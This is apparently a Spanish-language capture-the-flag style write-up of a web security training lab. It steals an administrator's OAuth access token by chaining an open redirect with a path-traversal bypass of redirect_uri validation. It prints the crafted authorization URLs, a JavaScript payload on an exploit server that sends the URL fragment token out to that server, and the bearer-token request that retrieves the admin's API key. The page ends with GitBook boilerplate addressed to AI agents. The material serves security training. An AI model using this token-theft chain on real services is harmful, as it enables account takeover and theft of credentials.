> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Robo de token OAuth mediante redirección abierta

### Robar tokens de acceso OAuth mediante una redirección abierta

**Objetivo del laboratorio**

Este laboratorio utiliza una validación incorrecta del `redirect_uri` parámetro por parte del servicio OAuth. / El objetivo es usar una redirección abierta presente en la aplicación cliente para **exfiltrar el token de acceso OAuth del usuario administrador** y luego usarlo para recuperar su clave de API.

> No es posible obtener la clave de API del administrador simplemente conectándose a su cuenta a través de la aplicación cliente.

**Identificación de la redirección abierta**

La redirección abierta está presente en la funcionalidad de navegación entre artículos del blog:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/d58eb2bd0974e5b479d14a9dac9fcd38e1ac101c" alt=""><figcaption></figcaption></figure>

Al reemplazar el `path` parámetro con una URL externa, la redirección se acepta:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

El navegador es redirigido, lo que confirma la vulnerabilidad.

<figure><img src="/files/1193b2882f078ecf328d8b49405916a2d8f3ed7b" alt=""><figcaption></figcaption></figure>

**Análisis del flujo OAuth**

Al autenticarse mediante OAuth, se observa la siguiente solicitud:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/38186f18697abc1ea5cb20d1676f8ad29c6e3bc4" alt=""><figcaption></figcaption></figure>

El servicio OAuth rechaza un completamente externo `redirect_uri`, pero acepta una URL interna modificada con path traversal.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/abdc970a7643b10e17375025c9940bfa45a9536c" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Bypass de validación**

Usando `../` para salir del `/OAuth-callback` ruta, es posible encadenar la redirección abierta:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/0273c2df64d81cdea3a2dc8e2fbc38f99dc925c2" alt=""><figcaption></figcaption></figure>

Esta URL se acepta como `redirect_uri` por el proveedor OAuth.

**Construcción maliciosa de la URL OAuth**

La URL final enviada a la víctima es:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Problema del fragmento (`#`)**

El fragmento de la URL **nunca se envía al servidor** durante una solicitud HTTP.<br>

<figure><img src="/files/e8685d77fd02d18b32b0a92c9b9489dab6d5c071" alt=""><figcaption></figcaption></figure>

Se requiere JavaScript del lado del cliente para capturar el token.

<figure><img src="/files/79f8e8312ebd5c5779f31868eb2b5a5679e4afe7" alt=""><figcaption></figcaption></figure>

**Captura del token con JavaScript**

El siguiente script está alojado en el servidor de explotación y se envía al administrador:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/7201cf2f71a441037a0d4758a079512acaf55ce9" alt=""><figcaption></figcaption></figure>

* Si no hay fragmento presente, la víctima es redirigida a OAuth.
* Si el fragmento existe, el token se transmite al servidor mediante la cadena de consulta.

<figure><img src="/files/1ce5872f1e0a630fab7cc4075c6b07cb3ae340ab" alt=""><figcaption></figcaption></figure>

**Explotación del token OAuth**

El token robado te permite consultar el `/me` punto del proveedor OAuth:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/d5681f03608a84dc60b8db849177268dce8664a0" alt=""><figcaption></figcaption></figure>

La respuesta contiene la información de la cuenta del administrador, incluida la clave de API:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/e6a2f816554b3ea6473581ef76e92be46dd4a286" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
